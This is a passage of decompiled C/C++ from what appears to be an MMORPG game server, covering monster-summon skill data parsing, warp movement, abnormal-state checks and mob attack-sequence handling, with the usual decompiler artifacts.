[sp+1A4h] [bp-1B8h]@95 int v152; // [sp+1A8h] [bp-1B4h]@95 int v153; // [sp+1ACh] [bp-1B0h]@95 int v154; // [sp+1B0h] [bp-1ACh]@95 int v155; // [sp+1B8h] [bp-1A4h]@17 int v156; // [sp+1BCh] [bp-1A0h]@17 int v157; // [sp+1C0h] [bp-19Ch]@17 int v158; // [sp+1C4h] [bp-198h]@17 int v159; // [sp+1D0h] [bp-18Ch]@57 int v160; // [sp+1D4h] [bp-188h]@57 int v161; // [sp+1D8h] [bp-184h]@57 int v162; // [sp+1E0h] [bp-17Ch]@43 int v163; // [sp+1E4h] [bp-178h]@43 int v164; // [sp+1E8h] [bp-174h]@43 int v165; // [sp+1ECh] [bp-170h]@43 int v166; // [sp+1F8h] [bp-164h]@133 int v167; // [sp+1FCh] [bp-160h]@133 int v168; // [sp+200h] [bp-15Ch]@133 int v169; // [sp+208h] [bp-154h]@127 int v170; // [sp+20Ch] [bp-150h]@127 int v171; // [sp+210h] [bp-14Ch]@127 int v172; // [sp+214h] [bp-148h]@127 char buf; // [sp+218h] [bp-144h]@55 char v174; // [sp+258h] [bp-104h]@87 char v175; // [sp+298h] [bp-C4h]@125 char buffer[64]; // [sp+2D8h] [bp-84h]@41 char v177; // [sp+318h] [bp-44h]@145 unsigned int v178; // [sp+358h] [bp-4h]@1 v178 = (unsigned int)&explosion ^ __security_cookie; v149 = this; v150 = miscdata; k = 0; while ( 1 ) { v50 = k; thisa = &v45; v49 = 0; v48 = 0; v47 = 0; v46 = 0; *(_DWORD *)&v45.ort_Name[0] = 0; strncpy(v45.ort_Name, "SkillBreedMob", 0x14u); v2 = OptionReader::or_SelectFromOrder(v150, v45, v50); v3 = v2; if ( !v2 ) break; v4 = *(_BYTE *)v2; if ( *(_BYTE *)v3 != *((_BYTE *)v3 + 266) ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBreedMob : SkillBreedMob : Checksum", v4); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } v5 = BTree::operator__(&mobdatabox.mdb_btree, (const char *)v3 + 34); v6 = -1; if ( v5 != -1 ) v6 = v5; if ( v6 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MiscDataTable::mdt_SkillBreedMob : Imvalid mob name", (const char *)v3 + 34); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } MiscDataTable::mdt_SkillBufferAlloc(v149, (const char *)v3 + 1); v8 = v7; *(_WORD *)(v7 + 2) = v6; *(_BYTE *)(v7 + 4) = *((_BYTE *)v3 + 67); v9 = *((_BYTE *)v3 + 112) == 45; explosion = v7; if ( v9 ) { *(_DWORD *)(v7 + 16) = 609; } else { v10 = BTree::operator__(&unk_6BD71C, (const char *)v3 + 112); if ( v10 == -1 ) { v50 = *(_DWORD *)(v8 + 16); AssertClass::ac_AssertFail( &shineassert, "MiscDataTable::mdt_SkillBreedMob : Invalid abstate", (const char *)v50); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } *(_DWORD *)(v8 + 16) = v10; } v11 = *((_DWORD *)v3 + 17); v12 = *((_DWORD *)v3 + 19); v155 = *((_DWORD *)v3 + 18); v13 = *((_DWORD *)v3 + 20); v156 = v12; v14 = *((_DWORD *)v3 + 21); v157 = v13; v158 = v14; v113 = 0; v112 = 0; v111 = 0; v110 = 0; *(_DWORD *)v109 = 0; strncpy(v109, "Root", 0x14u); if ( v11 != *(_DWORD *)v109 || v155 != v110 || v156 != v111 || v157 != v112 || v158 != v113 ) { v83 = 0; v82 = 0; v81 = 0; v80 = 0; *(_DWORD *)v79 = 0; strncpy(v79, "Chase", 0x14u); if ( v11 != *(_DWORD *)v79 || v155 != v80 || v156 != v81 || v157 != v82 || v158 != v83 ) { v133 = 0; v132 = 0; v131 = 0; v130 = 0; *(_DWORD *)v129 = 0; strncpy(v129, "Rampage", 0x14u); if ( v11 != *(_DWORD *)v129 || v155 != v130 || v156 != v131 || v157 != v132 || v158 != v133 ) { v93 = 0; v92 = 0; v91 = 0; v90 = 0; *(_DWORD *)v89 = 0; strncpy(v89, "Roam", 0x14u); if ( v11 != *(_DWORD *)v89 || v155 != v90 || v156 != v91 || v157 != v92 || v158 != v93 ) { v15 = ORToken::ort_GetString((ORToken *)((char *)v3 + 68), buffer); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBreedMob : AI type wrong", v15); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } *(_DWORD *)(explosion + 8) = 3; } else { *(_DWORD *)(explosion + 8) = 2; } } else { *(_DWORD *)(explosion + 8) = 1; } } else { *(_DWORD *)(explosion + 8) = 0; } v16 = *((_DWORD *)v3 + 22); v17 = *((_DWORD *)v3 + 24); v162 = *((_DWORD *)v3 + 23); v18 = *((_DWORD *)v3 + 25); v163 = v17; v19 = *((_DWORD *)v3 + 26); v164 = v18; v165 = v19; v123 = 0; v122 = 0; v121 = 0; v120 = 0; *(_DWORD *)v119 = 0; strncpy(v119, "Caster", 0x14u); if ( v16 != *(_DWORD *)v119 || v162 != v120 || v163 != v121 || v164 != v122 || v165 != v123 ) { v103 = 0; v102 = 0; v101 = 0; v100 = 0; *(_DWORD *)v99 = 0; strncpy(v99, "Target", 0x14u); if ( v16 != *(_DWORD *)v99 || v162 != v100 || v163 != v101 || v164 != v102 || v165 != v103 ) { v20 = ORToken::ort_GetString((ORToken *)((char *)v3 + 88), &buf); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBreedMob : RegenLoc wrong", v20); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } *(_DWORD *)(explosion + 12) = 1; } else { *(_DWORD *)(explosion + 12) = 0; } thisa = (ORToken *)((char *)v3 + 145); v21 = *(_DWORD *)((char *)v3 + 145); v22 = *(_DWORD *)((char *)v3 + 149); v23 = *(_DWORD *)((char *)v3 + 157); v159 = *(_DWORD *)((char *)v3 + 153); v24 = *(_DWORD *)((char *)v3 + 161); v160 = v23; v161 = v24; v143 = 0; v142 = 0; v141 = 0; v140 = 0; *(_DWORD *)v139 = 0; strncpy(v139, "-", 0x14u); if ( v21 != *(_DWORD *)v139 || v22 != v140 || v159 != v141 || v160 != v142 || v161 != v143 ) { v68 = 0; v67 = 0; v66 = 0; v65 = 0; *(_DWORD *)v64 = 0; strncpy(v64, "Enemy", 0x14u); if ( v21 != *(_DWORD *)v64 || v22 != v65 || v159 != v66 || v160 != v67 || v161 != v68 ) { v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)v54 = 0; strncpy(v54, "Target", 0x14u); if ( v21 != *(_DWORD *)v54 || v22 != v55 || v159 != v56 || v160 != v57 || v161 != v58 ) { v78 = 0; v77 = 0; v76 = 0; v75 = 0; *(_DWORD *)v74 = 0; strncpy(v74, "Always", 0x14u); if ( v21 != *(_DWORD *)v74 || v22 != v75 || v159 != v76 || v160 != v77 || v161 != v78 ) { v63 = 0; v62 = 0; v61 = 0; v60 = 0; *(_DWORD *)v59 = 0; strncpy(v59, "CasterTarget", 0x14u); if ( v21 != *(_DWORD *)v59 || v22 != v60 || v159 != v61 || v160 != v62 || v161 != v63 ) { v26 = ORToken::ort_GetString(thisa, &v174); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBreedMob : Triggerobject", v26); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } v25 = explosion; *(_DWORD *)(explosion + 92) = 4; } else { v25 = explosion; *(_DWORD *)(explosion + 92) = 3; } } else { v25 = explosion; *(_DWORD *)(explosion + 92) = 2; } } else { v25 = explosion; *(_DWORD *)(explosion + 92) = 1; } } else { v25 = explosion; *(_DWORD *)(explosion + 92) = 0; } *(_DWORD *)(v25 + 96) = *(_DWORD *)((char *)v3 + 165); *(_DWORD *)(v25 + 84) = *((_DWORD *)v3 + 27); *(_WORD *)(v25 + 108) = *(_WORD *)((char *)v3 + 171); *(_DWORD *)(v25 + 112) = *(_WORD *)((char *)v3 + 169); if ( *((_BYTE *)v3 + 173) == 45 ) { *(_WORD *)(v25 + 100) = -1; } else { explosion = BTree::operator__(&skillnametree, (const char *)v3 + 173); if ( explosion == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MiscDataTable::mdt_SkillBreedMob : ExplosionSkill wrong", (const char *)v3 + 173); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } *(_WORD *)(v25 + 100) = explosion; } v27 = *(_DWORD *)((char *)v3 + 206); v28 = *(_DWORD *)((char *)v3 + 214); v151 = *(_DWORD *)((char *)v3 + 210); v29 = *(_DWORD *)((char *)v3 + 218); v152 = v28; v30 = *(_DWORD *)((char *)v3 + 222); v153 = v29; v154 = v30; v88 = 0; v87 = 0; v86 = 0; v85 = 0; *(_DWORD *)v84 = 0; strncpy(v84, "-", 0x14u); if ( v27 != *(_DWORD *)v84 || v151 != v85 || v152 != v86 || v153 != v87 || v154 != v88 ) { v98 = 0; v97 = 0; v96 = 0; v95 = 0; *(_DWORD *)v94 = 0; strncpy(v94, "MyLoc", 0x14u); if ( v27 != *(_DWORD *)v94 || v151 != v95 || v152 != v96 || v153 != v97 || v154 != v98 ) { v108 = 0; v107 = 0; v106 = 0; v105 = 0; *(_DWORD *)v104 = 0; strncpy(v104, "MyObj", 0x14u); if ( v27 != *(_DWORD *)v104 || v151 != v105 || v152 != v106 || v153 != v107 || v154 != v108 ) { v118 = 0; v117 = 0; v116 = 0; v115 = 0; *(_DWORD *)v114 = 0; strncpy(v114, "TargetLoc", 0x14u); if ( v27 != *(_DWORD *)v114 || v151 != v115 || v152 != v116 || v153 != v117 || v154 != v118 ) { v128 = 0; v127 = 0; v126 = 0; v125 = 0; *(_DWORD *)v124 = 0; strncpy(v124, "TargetObj", 0x14u); if ( v27 != *(_DWORD *)v124 || v151 != v125 || v152 != v126 || v153 != v127 || v154 != v128 ) { v31 = ORToken::ort_GetString(thisa, &v175); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBreedMob : Triggerobject", v31); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } *(_DWORD *)(v25 + 104) = 4; } else { *(_DWORD *)(v25 + 104) = 3; } } else { *(_DWORD *)(v25 + 104) = 2; } } else { *(_DWORD *)(v25 + 104) = 1; } } else { *(_DWORD *)(v25 + 104) = 0; } v32 = *(_DWORD *)((char *)v3 + 226); v33 = *(_DWORD *)((char *)v3 + 234); v169 = *(_DWORD *)((char *)v3 + 230); v34 = *(_DWORD *)((char *)v3 + 238); v170 = v33; v35 = *(_DWORD *)((char *)v3 + 242); v171 = v34; v172 = v35; v138 = 0; v137 = 0; v136 = 0; v135 = 0; *(_DWORD *)v134 = 0; strncpy(v134, "Dead", 0x14u); if ( v32 == *(_DWORD *)v134 && v169 == v135 && v170 == v136 && v171 == v137 && v172 == v138 ) *(_BYTE *)(v25 + 88) |= 1u; v36 = (int)((char *)v3 + 246); v37 = *(_DWORD *)((char *)v3 + 246); v38 = *(_DWORD *)((char *)v3 + 250); v39 = *(_DWORD *)(v36 + 8); v40 = *(_DWORD *)(v36 + 12); v41 = *(_DWORD *)(v36 + 16); v166 = v39; v167 = v40; v168 = v41; v148 = 0; v147 = 0; v146 = 0; v145 = 0; *(_DWORD *)v144 = 0; strncpy(v144, "-", 0x14u); if ( v37 != *(_DWORD *)v144 || v38 != v145 || v166 != v146 || v167 != v147 || v168 != v148 ) { v73 = 0; v72 = 0; v71 = 0; v70 = 0; *(_DWORD *)v69 = 0; strncpy(v69, "Multi", 0x14u); if ( v37 != *(_DWORD *)v69 || v38 != v70 || v166 != v71 || v167 != v72 || v168 != v73 ) { v44 = ORToken::ort_GetString(thisa, &v177); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBreedMob : MultiTarget", v44); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } v43 = k + 1; *(_DWORD *)(v25 + 116) = 1; k = v43; } else { v42 = k + 1; *(_DWORD *)(v25 + 116) = 0; k = v42; } } } //----- (004928B0) -------------------------------------------------------- #error "4928B0: undefined or illegal type '#615' (funcsize=208)" //----- (00492BA0) -------------------------------------------------------- #error "492BA0: undefined or illegal type '#593' (funcsize=112)" //----- (00492D20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_WarpTo(void *this, int locate, int sklidx) { int v3; // esi@1 int v4; // ecx@1 int v5; // eax@1 int v6; // eax@5 int v7; // edx@5 int v8; // ebx@5 int v9; // eax@5 int v10; // eax@5 char *v11; // edi@7 int v12; // eax@9 char *v13; // eax@10 int v14; // edx@10 int v15; // ecx@10 int v16; // ST04_4@10 int v17; // eax@10 char *v18; // [sp-8h] [bp-40h]@4 int goal; // [sp+10h] [bp-28h]@3 int v20; // [sp+14h] [bp-24h]@5 int v21; // [sp+1Ch] [bp-1Ch]@5 AxialListPacketBroadcast alchat; // [sp+20h] [bp-18h]@10 int v23; // [sp+34h] [bp-4h]@1 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_WarpTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_WarpTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v4 = funcallanalizer.fca_stackpoint++ + 1; v5 = *(_DWORD *)(v3 + 98); v23 = 0; if ( v5 ) { if ( ShineObjectClass::ShineObject::so_FindBlockLocate( (void *)v3, locate, *(_DWORD *)(sklidx + 272), (int)&goal, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsMoveBlock) ) { v6 = *(_DWORD *)(v3 + 78); v7 = *(_DWORD *)(v6 + 4); v8 = *(_DWORD *)v6; v9 = *(_DWORD *)v3; v21 = v7; *(_DWORD *)(v3 + 236) = 0; (*(void (__thiscall **)(int))(v9 + 2644))(v3); (*(void (__thiscall **)(int, signed int, _DWORD, signed int))(*(_DWORD *)v3 + 828))(v3, 2, 0, 3); v10 = *(_DWORD *)(v3 + 78); *(_DWORD *)v10 = goal; *(_DWORD *)(v10 + 4) = v20; if ( FieldMap::fm_Marking(*(#593 **)(v3 + 98), v3, 0, 0) ) { (*(void (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)v3 + 1520))(v3, 1669, 0, 0); v23 = -1; } else { v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9296; *((_WORD *)v11 + 1) = **(_WORD **)(sklidx + 4); *((_DWORD *)v11 + 1) = *(_DWORD *)locate; *((_DWORD *)v11 + 2) = *(_DWORD *)(locate + 4); *((_WORD *)v11 + 6) = SkillEffectApply::SkillBlastEffectContainer::sbec_GetIndex(&skilleffectapplyer); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v12 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::smo_SkillBash_BlastA : Packet Too Long", 14); } v13 = gpp.pp_Buffer; v14 = v21; *(_WORD *)gpp.pp_Buffer = 18472; *((_WORD *)v13 + 1) = *(_WORD *)(v3 + 4); *((_DWORD *)v13 + 1) = v8; *((_DWORD *)v13 + 2) = v14; v15 = *(_DWORD *)(v3 + 78); *((_DWORD *)v13 + 3) = *(_DWORD *)v15; *((_DWORD *)v13 + 4) = *(_DWORD *)(v15 + 4); *((_WORD *)v13 + 10) = **(_WORD **)(sklidx + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 22); v16 = *(_DWORD *)(v3 + 78); LOBYTE(v23) = 1; v17 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v17, v16, 0, 0, (int)&alchat, 1, 65535); MoveManager::mm_Halt((MoveManager *)(v3 + 232)); LOBYTE(v23) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v23 = -1; } v18 = "ShineObjectClass::ShineMobileObject::smo_WarpTo"; } else { v23 = -1; v18 = "ShineObjectClass::ShineMobileObject::smo_WarpTo"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v18); } else { funcallanalizer.fca_stackpoint = v4 - 1; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_WarpTo"); } } //----- (00492F80) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_smo_AbnormalStateAttribute(void *this, int condition) { void *v2; // esi@1 int v3; // edi@1 unsigned __int16 v4; // bp@1 unsigned __int16 v5; // dx@2 int v6; // eax@3 int v7; // esi@3 unsigned __int16 v8; // bx@3 char v9; // cl@7 int v10; // eax@7 int v11; // ecx@8 int v12; // eax@12 char v13; // cl@12 int v14; // eax@12 int v15; // ecx@13 int v16; // eax@17 char v17; // cl@17 int v18; // eax@17 int v19; // ecx@18 int v20; // eax@22 char v21; // cl@22 int v22; // eax@22 int v23; // ecx@23 bool v24; // zf@25 char v25; // cl@27 int v26; // eax@27 int v27; // ecx@28 char v28; // cl@32 int v29; // eax@32 int v30; // ecx@33 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_AbnormalStateAttribute"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_smo_AbnormalStateAttribute"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1320))(v2); v4 = *(_WORD *)(*(_DWORD *)(v3 + 3248) + 12 * *(_WORD *)(v3 + 3254) + 4); while ( 1 ) { v5 = *(_WORD *)(v3 + 3244); if ( v4 >= v5 ) break; v6 = *(_DWORD *)(v3 + 3248); v7 = v4; v8 = v4; v4 = *(_WORD *)(v6 + 12 * v4 + 4); if ( condition == 1 ) { if ( v8 < v5 && (v28 = *(_BYTE *)(v6 + 12 * v7 + 8), v29 = v6 + 12 * v7, v28) ) v30 = *(_DWORD *)v29; else v30 = 0; v24 = *(_DWORD *)(*(_DWORD *)(*((_DWORD *)&unk_6B848C + 3 * *(_DWORD *)(v30 + 4)) + 36 * *(_BYTE *)(v30 + 24) + 8) + 38) == 70; goto LABEL_36; } if ( condition == 2 ) { if ( v8 < v5 && (v25 = *(_BYTE *)(v6 + 12 * v7 + 8), v26 = v6 + 12 * v7, v25) ) v27 = *(_DWORD *)v26; else v27 = 0; v24 = AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_6B848C + 3 * *(_DWORD *)(v27 + 4)) + 36 * *(_BYTE *)(v27 + 24) + 8), SAA_SPEEDDOWNRATE) == 1; goto LABEL_36; } if ( condition == 3 ) { if ( v8 < v5 && (v9 = *(_BYTE *)(v6 + 12 * v7 + 8), v10 = v6 + 12 * v7, v9) ) v11 = *(_DWORD *)v10; else v11 = 0; if ( AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_6B848C + 3 * *(_DWORD *)(v11 + 4)) + 36 * *(_BYTE *)(v11 + 24) + 8), SAA_ACMINUS) == 1 || (v8 >= *(_WORD *)(v3 + 3244) || (v12 = *(_DWORD *)(v3 + 3248), v13 = *(_BYTE *)(v12 + 12 * v7 + 8), v14 = v12 + 12 * v7, !v13) ? (v15 = 0) : (v15 = *(_DWORD *)v14), AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_6B848C + 3 * *(_DWORD *)(v15 + 4)) + 36 * *(_BYTE *)(v15 + 24) + 8), SAA_ACDOWNRATE) == 1 || (v8 >= *(_WORD *)(v3 + 3244) || (v16 = *(_DWORD *)(v3 + 3248), v17 = *(_BYTE *)(v16 + 12 * v7 + 8), v18 = v16 + 12 * v7, !v17) ? (v19 = 0) : (v19 = *(_DWORD *)v18), AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_6B848C + 3 * *(_DWORD *)(v19 + 4)) + 36 * *(_BYTE *)(v19 + 24) + 8), SAA_MRMINUS) == 1)) ) { LABEL_37: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_AbnormalStateAttribute"); return 1; } if ( v8 < *(_WORD *)(v3 + 3244) && (v20 = *(_DWORD *)(v3 + 3248), v21 = *(_BYTE *)(v20 + 12 * v7 + 8), v22 = v20 + 12 * v7, v21) ) v23 = *(_DWORD *)v22; else v23 = 0; v24 = AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_6B848C + 3 * *(_DWORD *)(v23 + 4)) + 36 * *(_BYTE *)(v23 + 24) + 8), SAA_MRDOWNRATE) == 1; LABEL_36: if ( v24 ) goto LABEL_37; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_AbnormalStateAttribute"); return 0; } //----- (00493240) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_Load(MiscDataTable *this) { MiscDataTable *v1; // esi@1 char v2; // bl@1 int v3; // eax@1 OptionReader miscdata; // [sp+Ch] [bp-10864h]@1 unsigned int v5; // [sp+10860h] [bp-10h]@1 int v6; // [sp+1086Ch] [bp-4h]@1 v1 = this; v5 = (unsigned int)&miscdata ^ __security_cookie; OptionReader::OptionReader(&miscdata); v6 = 0; v2 = OptionReader::or_Read(&miscdata, "../9Data/Hero/World/MiscDataTable.txt"); v3 = OptionReader::or_ErrorLine(&miscdata); if ( !v2 ) { AssertClass::ac_AssertFail(&shineassert, "Error in read MiscDataTable.txt", v3); ShineExit("MiscDataTable::mdt_Load"); } v1->mdt_AbStateDataSize = 0; v1->mdt_SkillDataSize = 0; v1->mdt_VarifAbstateSize = 0; MiscDataTable::mdt_SkillBreedMob(v1, &miscdata); MiscDataTable::mdt_AbStateReset(v1, &miscdata); MiscDataTable::mdt_Neutralization(v1, &miscdata); MiscDataTable::mdt_Polymorph(v1, &miscdata); MiscDataTable::mdt_StateCondition(v1, &miscdata); v6 = -1; OptionReader::_OptionReader(&miscdata); __security_check_cookie((unsigned int)&miscdata ^ v5); } //----- (00493350) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_WarpForward(void *this, int sklidx) { void *v2; // esi@1 int v3; // eax@1 int v4; // ecx@1 int *v5; // edx@1 int v6; // ST00_4@1 int towhere; // [sp+Ch] [bp-14h]@1 int v8; // [sp+10h] [bp-10h]@1 int v9; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_WarpForward"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_WarpForward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)((char *)v2 + 78); v4 = *(_DWORD *)(sklidx + 272); towhere = *(_DWORD *)v3; v5 = *(int **)((char *)v2 + 82); v8 = *(_DWORD *)(v3 + 4); v6 = *(_BYTE *)v5; v9 = 0; DirectDistanceTable::ddt_GetFoward(&ddt, v6, v4, (SHINE_XY_TYPE *)&towhere); ShineObjectClass::ShineMobileObject::smo_WarpTo(v2, (int)&towhere, sklidx); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_WarpForward"); } //----- (00493430) -------------------------------------------------------- char __thiscall MobDataBox::mdb_iter_next(MobDataBox *this, unsigned int *pnt) { unsigned int v2; // edx@1 v2 = *pnt + 1; *pnt = v2; return v2 < this->mdb_mobspacies; } //----- (00493450) -------------------------------------------------------- unsigned __int16 __thiscall MobDataBox::mdb_iter_Get(MobDataBox *this, unsigned int *pnt) { unsigned __int16 result; // ax@2 if ( *pnt < this->mdb_mobspacies ) result = BinaryDataBox::operator__(&this->mdb_BinData.mobinf, *pnt)->ID; else result = -1; return result; } //----- (00493480) -------------------------------------------------------- void __thiscall MobAttackSequence::AttackElement4Mob::ae4m_NextSkill(MobAttackSequence::AttackElement4Mob *this, int *attacksequenceindex) { int v2; // edx@1 v2 = *attacksequenceindex + 1; *attacksequenceindex = v2; if ( v2 >= this->ae4m_SequenceLength ) *attacksequenceindex = this->ae4m_StartIndex; } //----- (004934A0) -------------------------------------------------------- void __thiscall MobAttackSequence::SkillChange::sc_Store(MobAttackSequence::SkillChange *this, char *from, char *to, unsigned int value) { MobAttackSequence::SkillChange *v4; // ebx@1 signed __int16 v5; // di@2 unsigned int v6; // eax@3 signed __int16 v7; // si@7 unsigned int v8; // eax@8 v4 = this; if ( *from == 45 ) { v5 = -1; } else { v6 = BTree::operator__(&skillnametree, from); v5 = v6; if ( v6 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::SkillChange::sc_Store : Null skill", from); ShineExit("MagicContainer::mas_Load"); } } v4->sc_From = v5; if ( *to == 45 ) { v7 = -1; } else { v8 = BTree::operator__(&skillnametree, to); v7 = v8; if ( v8 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::SkillChange::sc_Store : Null skill", to); ShineExit("MagicContainer::mas_Load"); } } v4->sc_To = v7; v4->sc_Value = value; v4->sc_ASIndex = 0; } //----- (00493550) -------------------------------------------------------- void __thiscall MobAttackSequence::SkillChange::sc_Store(MobAttackSequence::SkillChange *this, unsigned int from, char *to, unsigned int value) { MobAttackSequence::SkillChange *v4; // esi@1 signed __int16 v5; // di@2 unsigned int v6; // eax@3 v4 = this; if ( *to == 45 ) { v5 = -1; } else { v6 = BTree::operator__(&skillnametree, to); v5 = v6; if ( v6 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::SkillChange::sc_Store : Null skill", to); ShineExit("MagicContainer::mas_Load"); } } v4->sc_To = v5; v4->sc_From = -1; v4->sc_ASIndex = from; v4->sc_Value = value; } //----- (004935C0) -------------------------------------------------------- void __thiscall MobAttackSequence::mas_Append(MobAttackSequence *this, unsigned __int16 mobid) { int v2; // eax@4 if ( this->mas_MobNumber >= 0x190u ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Append : Too many element", this->mas_MobNumber); ShineExit("MagicContainer::mas_Append"); } this->mas_AttackPattern[this->mas_MobNumber].ae4m_BossMob = mobid; this->mas_AttackPattern[this->mas_MobNumber].ae4m_SequenceLength = 0; v2 = this->mas_MobNumber + 1; this->mas_MobNumber = v2; qsort((void *)this->mas_AttackPattern, v2, 0x1BECu, MobAttackSequence::AttackElement4Mob::ae4m_Compare); } //----- (00493640) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)v3 = ele->ciee_Index; *(_DWORD *)(v3 + 4) = *(_DWORD *)&ele->ciee_Year; *(_DWORD *)(v3 + 8) = *(_DWORD *)&ele->ciee_Minute; return 1; } // 493656: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00493680) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)MobAttackSequence::SkillChangeList::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 63CF8C: using guessed type int (__stdcall *MobAttackSequence__SkillChangeList___vftable_[3])(__int16 hnd); //----- (004936A0) -------------------------------------------------------- void __thiscall MobAttackSequence::_MobAttackSequence(MobAttackSequence *this) { _eh_vector_destructor_iterator_( (void *)this->mas_AttackPattern, 0x1BECu, 400, (void (__thiscall *)(void *))MobAttackSequence::AttackElement4Mob::_AttackElement4Mob); } //----- (004936C0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00493710) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); 